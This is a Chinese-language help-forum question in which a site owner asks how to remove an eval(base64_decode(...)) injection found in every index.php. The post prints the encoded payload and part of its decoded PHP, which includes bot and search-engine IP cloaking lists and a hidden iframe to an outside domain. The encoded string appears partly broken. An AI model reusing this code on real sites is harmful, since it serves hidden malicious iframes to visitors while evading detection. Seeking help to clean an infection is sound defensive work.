Tag: deobfuscation
如何摆脱像PHP病毒文件的eval-base64_decode？
我的网站（非常大的社区网站）最近感染了病毒。 每个index.php文件都被改变了，所以这些文件的开头php标签被改成了下面这行： <?php eval(base64_decode('ZXJyb+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0=')); 当我解码这个，它产生了下面的PHP代码： <?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( […]
